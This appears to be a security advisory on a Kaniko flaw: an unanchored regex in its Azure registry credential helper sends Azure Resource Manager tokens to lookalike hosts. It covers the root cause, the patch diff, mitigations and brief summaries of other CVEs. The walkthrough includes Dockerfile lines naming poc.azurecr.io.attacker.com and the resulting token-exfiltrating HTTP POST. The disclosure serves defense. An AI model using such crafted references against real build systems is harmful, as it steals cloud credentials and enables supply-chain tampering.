Nov 5, 2026·11 min read·4 visits
An unanchored regular expression in Kaniko's Azure Container Registry credential helper allows an attacker who supplies a crafted Dockerfile image reference (such as FROM x.azurecr.io.attacker.com/image) to exfiltrate the build environment's Microsoft Entra ID (Azure AD) access token for Azure Resource Manager.
CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.
Kaniko is a tool designed to build container images from a Dockerfile inside an unprivileged container or Kubernetes cluster without requiring a running Docker daemon. To pull base images and push built artifacts to private container registries, Kaniko integrates several cloud provider credential helpers directly into its executor and warmer binaries, and ships standalone credential helper binaries in its container images. Among these is docker-credential-acr-env, originally sourced from github.com/chrismellard/docker-credential-acr-env, which automates authentication against Microsoft Azure Container Registry (ACR).
When Kaniko parses a Dockerfile and encounters an image reference (via FROM or COPY --from), it resolves credentials for the target registry hostname in pkg/creds/creds.go. If the target hostname does not have static credentials configured in the local Docker configuration (config.json) and is not identified as a Google Container Registry (*.gcr.io) or Amazon Elastic Container Registry (*.ecr.*) endpoint, Kaniko queries the integrated ACR credential helper before making any registry network requests.
CVE-2026-105769 (also tracked as GHSA-5q7h-w9jf-cx97 and GO-2026-6225) is classified under CWE-346 (Origin Validation Error) and CWE-522 (Insufficiently Protected Credentials). The vulnerability exists because docker-credential-acr-env validates whether a target registry belongs to Azure Container Registry using an unanchored regular expression. Any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de, or .azurecr.us at any position in the string passes the validation check.
When an attacker supplies a Dockerfile referencing an image on an attacker-controlled lookalike domain—such as x.azurecr.io.attacker.com—the credential helper classifies the host as a legitimate ACR instance. It then acquires a Microsoft Entra ID (formerly Azure Active Directory) access token scoped for Azure Resource Manager (ARM) from the build environment and sends that token in an HTTP POST request to https://<attacker-host>/oauth2/exchange. This occurs during the initial image resolution phase; no RUN instruction execution or image push operation is required to trigger the exfiltration.
The root cause of CVE-2026-105769 is improper hostname validation in pkg/credhelper/helper.go within the github.com/chrismellard/docker-credential-acr-env dependency. Before initiating an OAuth2 token exchange with a target registry, the helper invokes isACRRegistry(input string) to verify that the destination server is either the Microsoft Container Registry (mcr.microsoft.com) or a tenant-specific Azure Container Registry instance.
In vulnerable versions, the regular expression acrRE was defined as .*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us. In Go's regexp package, alternating patterns without start (^) and end ($) boundary anchors match if any branch appears as a substring anywhere within the evaluated input. Furthermore, the leading .* greedily matches arbitrary preceding characters, while the absence of a trailing $ permits arbitrary suffixes—including an attacker's registered top-level domain—to follow the .azurecr.<tld> segment.
Once isACRRegistry evaluates to true, execution proceeds to ACRCredHelper.Get(serverURL). This function invokes token.GetServicePrincipalTokenFromEnvironment() to harvest ambient Azure credentials available to the build environment. The token acquisition logic checks three sources in order:
AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, and AZURE_TENANT_ID to request a token directly from Entra ID.AZURE_FEDERATED_TOKEN or the file path specified in AZURE_FEDERATED_TOKEN_FILE to exchange a Kubernetes service account token for an Entra ID access token.http://169.254.169.254 to obtain a Managed Service Identity (MSI) token.In all three cases, the requested token is scoped to settings.Environment.ResourceManagerEndpoint (https://management.azure.com/). Following acquisition, the helper invokes registry.GetRegistryRefreshTokenFromAADExchange(serverURL, spToken, tenantID). Rather than contacting a central Microsoft authentication authority, the ACR OAuth2 exchange protocol sends the ARM access token directly to the registry host at https://<serverURL>/oauth2/exchange. Because serverURL is controlled by the caller, the bearer token is transmitted both in the Authorization HTTP header and inside the URL-encoded POST body (access_token=<ARM_ACCESS_TOKEN>) directly to the attacker's server.
Because the upstream github.com/chrismellard/docker-credential-acr-env repository had not been maintained since March 2023, the Kaniko maintainers resolved the issue in Pull Request #495 (merged in commits 58915b22dbeca4d936d6bb51c0c889baf6ebbc48 and 08de01fe7fffaeb6bc030efa9eae723ea2dd4405, finalized in 96c054c1ad599d10a6bab32bc2b3f2e1b6b8396e). The maintainers moved the package into an in-tree directory at third_party/docker-credential-acr-env and rewrote the hostname parsing and validation logic in pkg/credhelper/helper.go.
--- a/vendor/github.com/chrismellard/docker-credential-acr-env/pkg/credhelper/helper.go
+++ b/third_party/docker-credential-acr-env/pkg/credhelper/helper.go
@@ -27,7 +27,14 @@ import (
"github.com/docker/docker-credential-helpers/credentials"
)
-var acrRE = regexp.MustCompile(`.*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us`)
+// Chainguard patch (GO-2026-6225): upstream's acrRE was unanchored, so any
+// hostname merely containing ".azurecr.io" (for example
+// "evil.azurecr.io.attacker.com") was treated as ACR and sent an Azure AD
+// derived token. acrHostRE is anchored at both ends and only admits
+// well-formed lower-case DNS labels in front of an ACR domain.
+var acrHostRE = regexp.MustCompile(`^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+azurecr\.(?:io|cn|de|us)$`)
+
+// portRE matches the digits of an explicit port; the range is checked separately.
+var portRE = regexp.MustCompile(`^[0-9]{1,5}$`)
const (
mcrHostname = "mcr.microsoft.com"
@@ -49,24 +56,53 @@ func (a ACRCredHelper) Delete(_ string) error {
return errors.New("list is unimplemented")
}
func isACRRegistry(input string) bool {
serverURL, err := url.Parse("https://" + input)
- if err != nil {
+ if err != nil || serverURL.Host != input {
return false
}
- if serverURL.Hostname() == mcrHostname {
- return true
+ if i := strings.LastIndexByte(input, ':'); i >= 0 {
+ port := input[i+1:]
+ if !portRE.MatchString(port) {
+ return false
+ }
+ if n, err := strconv.Atoi(port); err != nil || n < 1 || n > 65535 {
+ return false
+ }
}
- matches := acrRE.FindStringSubmatch(serverURL.Hostname())
- if len(matches) == 0 {
- return false
- }
- return true
+ host := serverURL.Hostname()
+ return host == mcrHostname || acrHostRE.MatchString(host)
}
func (a ACRCredHelper) Get(serverURL string) (string, string, error) {
if !isACRRegistry(serverURL) {
- return "", "", errors.New("serverURL does not refer to Azure Container Registry")
+ return "", "", credentials.NewErrCredentialsNotFound()
}The patch addresses the original flaw and hardens the parser against variant URL parsing bypasses through four specific mechanisms:
acrHostRE uses ^ and $ anchors to guarantee that the hostname ends strictly with azurecr.io, azurecr.cn, azurecr.de, or azurecr.us. It also restricts preceding subdomain labels to valid lowercase alphanumeric characters and internal hyphens up to 63 characters ([a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?).net/url package, url.Parse("https://" + input) strips userinfo (user@host), path segments (host/path), queries (?q), and fragments (#frag) before populating serverURL.Host, and automatically percent-decodes characters when calling serverURL.Hostname(). The added condition serverURL.Host != input ensures that input consists exclusively of host[:port] with no percent-encoded sequences (such as foo%C3%A9.azurecr.io or IPv6 zone identifiers like [::1%25.azurecr.io]) or trailing paths that could cause a discrepancy between the validated hostname and the HTTP destination.input, the parser extracts the port suffix, verifies it against portRE (^[0-9]{1,5}$), and confirms via strconv.Atoi that the integer falls within the valid TCP port range of 1 to 65535.isACRRegistry returns false, Get() now returns credentials.NewErrCredentialsNotFound() instead of a generic error, ensuring that upstream callers (docker/cli and go-containerregistry) fall back to anonymous image pulls rather than aborting the build.The fix is complete. By enforcing serverURL.Host == input alongside strict DNS label validation and port bounds checking, the patch prevents both subdomain suffix attacks and URL parser confusion between net/url and the HTTP client used during the token exchange.
Exploiting CVE-2026-105769 requires an attacker to trigger a Kaniko build using a Dockerfile that references an external container image under the attacker's DNS control. No prior privileges in the target Azure environment are needed (PR:N), though the build pipeline must be triggered (UI:R), such as through an automated CI/CD workflow running on a pull request or a shared build service.
v1.25.20 running in an environment with access to Azure credentials (e.g., an Azure Kubernetes Service pod with Workload Identity or IMDS access, an Azure DevOps agent, or a runner with AZURE_* environment variables).attacker.com) with a DNS A/AAAA record resolving a subdomain containing an ACR suffix (e.g., poc.azurecr.io.attacker.com) to an attacker-controlled HTTPS server configured with a valid TLS certificate.poc.azurecr.io.attacker.com:443 to log incoming HTTP POST headers and request bodies sent to /oauth2/exchange.FROM instruction or a multi-stage COPY --from instruction pointing to the lookalike registry:FROM poc.azurecr.io.attacker.com/library/alpine:latest
COPY --from=poc.azurecr.io.attacker.com/tools/builder:v1 /app /app/kaniko/executor (even with the --no-push flag enabled). During initialization, Kaniko attempts to resolve image metadata for poc.azurecr.io.attacker.com.poc.azurecr.io.attacker.com is not in ~/.docker/config.json, Kaniko invokes docker-credential-acr-env. The helper matches .azurecr.io, obtains the ARM access token from the environment or IMDS, and sends the following HTTP request to the attacker's server:POST /oauth2/exchange HTTP/1.1
Host: poc.azurecr.io.attacker.com
User-Agent: Go-http-client/1.1
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6...
Content-Type: application/x-www-form-urlencoded
grant_type=access_token&service=poc.azurecr.io.attacker.com&tenant=<TENANT_ID>&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6...> [!NOTE]
> The vulnerability triggers during the pre-flight credential resolution phase before any container layers are downloaded or any RUN commands are executed. Consequently, builds that fail immediately after the FROM lookup still exfiltrate the token.
The severity of CVE-2026-105769 is rated Critical with a CVSS v3.1 base score of 9.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N). A key factor in this rating is the Changed Scope (S:C): although the vulnerability resides within the local Kaniko build process, successful exploitation compromises credentials belonging to the underlying cloud control plane (Microsoft Entra ID and Azure Resource Manager).
The exfiltrated artifact is not a narrowly scoped registry pull token; it is an Azure Resource Manager (https://management.azure.com/) bearer token representing the build workload's Azure identity. Until the token expires, an attacker can authenticate directly to the ARM API to perform any operation permitted by the identity's Role-Based Access Control (RBAC) assignments. In typical CI/CD configurations, build identities hold permissions such as AcrPush, AcrPull, Contributor, or Reader roles across subscriptions and resource groups.
Using the captured ARM token, an attacker can query https://management.azure.com/subscriptions?api-version=2022-12-01 to enumerate cloud resources, and subsequently perform a legitimate /oauth2/exchange handshake against any real Azure Container Registry the identity is authorized to access. This allows the attacker to pull proprietary container images (C:H) and push modified or backdoored container images into production registries (I:H).
From a threat intelligence perspective, CVE-2026-105769 currently carries an EPSS score of 0.00196 (0.20%), placing it in the 9.44th percentile, and it is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, because the mechanics of the flaw are deterministic and trivial to reproduce using a single Dockerfile line, any multi-tenant build service or open-source repository running unpatched Kaniko on Azure infrastructure faces immediate risk of credential compromise.
Organizations using Kaniko should upgrade to kaniko v1.25.20 or later immediately. In v1.25.20, docker-credential-acr-env is vendored in-tree under third_party/docker-credential-acr-env with anchored hostname validation, and a build-time verification step in deploy/Dockerfile asserts that lookalike domains return credentials not found.
v1.25.20 or later for both executor and warmer images.go.mod dependencies to pull the patched revision:go get github.com/chainguard-dev/kaniko@v1.25.20
go mod tidy> [!NOTE]
> If standalone builds or custom container images install github.com/chrismellard/docker-credential-acr-env directly from upstream, note that the upstream repository is unmaintained and remains vulnerable. Replace upstream binaries with the patched implementation from third_party/docker-credential-acr-env in Kaniko v1.25.20.
When immediate upgrading is not feasible, apply the following mitigations to prevent token acquisition and exfiltration:
AZURE_ENVIRONMENT=none in the Kaniko container specification. This causes the Azure SDK inside docker-credential-acr-env to fail initialization before querying IMDS or transmitting tokens over the network.NetworkPolicy or host-level routing rule (ip route add blackhole 169.254.169.254/32) to block build pods from communicating with the Azure Instance Metadata Service at 169.254.169.254.AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID, AZURE_FEDERATED_TOKEN, AZURE_FEDERATED_TOKEN_FILE, MSI_ENDPOINT, or MSI_SECRET mounted in their environment.FROM and COPY --from instructions against an explicit list of approved container registries prior to invoking Kaniko.CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
kaniko Chainguard | < 1.25.20 | 1.25.20 |
docker-credential-acr-env chrismellard | all versions | - |
| Attribute | Detail |
|---|---|
| Vulnerability ID | CVE-2026-105769 / GHSA-5q7h-w9jf-cx97 / GO-2026-6225 |
| Weakness Class | CWE-346 (Origin Validation Error) / CWE-522 (Insufficiently Protected Credentials) |
| CVSS v3.1 Score | 9.3 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N) |
| Attack Vector | Network (Crafted registry hostname in Dockerfile FROM or COPY --from) |
| Affected Component | kaniko (< v1.25.20) & docker-credential-acr-env |
| Security Impact | Exfiltration of Microsoft Entra ID (Azure AD) access tokens for Azure Resource Manager |
| EPSS Score | 0.20% (9.44th Percentile) |
| CISA KEV Status | Not Listed |
The software does not properly verify that the source or destination of data corresponds to the expected origin or domain before transmitting sensitive authentication credentials.
CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.
CVE-2026-62300 is an uncontrolled resource consumption vulnerability (CWE-400) affecting the daemon mode of filecoin-pin in versions up to and including 1.1.0. The daemon implements the IPFS Pinning Service API to store content on Filecoin's Proof of Data Possession (PDP) service. Due to the absence of rate limits, concurrency caps, execution timeouts, and Directed Acyclic Graph (DAG) traversal limits, an authenticated user—or an unauthenticated user when authentication is disabled—can exhaust system resources via crafted POST /pins requests.
CVE-2026-61536 is a high-severity Remote Code Execution (RCE) vulnerability in the masci/banks Python library prior to version 2.4.3. The flaw exists within the CompletionExtension component, which parses JSON-serialized Tool definitions directly from rendered Jinja template bodies inside {% completion %} blocks. When handling tool calls returned by an LLM, the library dynamically resolves the target callable using importlib.import_module() and getattr() based on an unvalidated import_path string. An attacker who can supply or modify prompt templates can inject a malicious Tool JSON object pointing to arbitrary Python functions (such as os.system), bypassing the Jinja SandboxedEnvironment introduced in version 2.4.2 and achieving arbitrary code execution when the LLM invokes the tool.
Payload CMS contains a missing authorization vulnerability (CWE-862) in its client-side upload instructions endpoint and the `@payloadcms/storage-vercel-blob` storage adapter. Two distinct logic defects allow authenticated users lacking collection-level `create` or `update` permissions to generate signed upload tokens and upload arbitrary files directly to external cloud storage.
CVE-2026-55098 (GHSA-93cm-2v4m-c56c) is an authorization bypass and sensitive information disclosure vulnerability in Basekick-Labs Arc prior to version 26.06.2. The flaw stems from an incomplete remediation of CVE-2026-47735, which failed to restrict the full suite of DuckDB table-valued filesystem I/O functions and quoted-identifier invocations. Because Arc's query parser ignores function calls during table reference extraction, authenticated users with minimal or empty permissions can invoke functions like parquet_scan(), glob(), and read_blob() to read, enumerate, and extract telemetry data across all tenant databases residing within the shared local storage root.
CVE-2026-113787 is a stored Cross-Site Scripting (XSS) and HTML injection vulnerability affecting the odf-kit npm package from version 0.6.0 prior to 0.14.2. The HTML conversion engines (odtToHtml and odsToHtml) interpolate document-controlled styling and image attributes directly into inline style and src attributes without escaping double-quote characters. A remote attacker can supply a crafted .odt or .ods document to break out of HTML attribute boundaries and execute arbitrary JavaScript in the context of any web application rendering the converted HTML.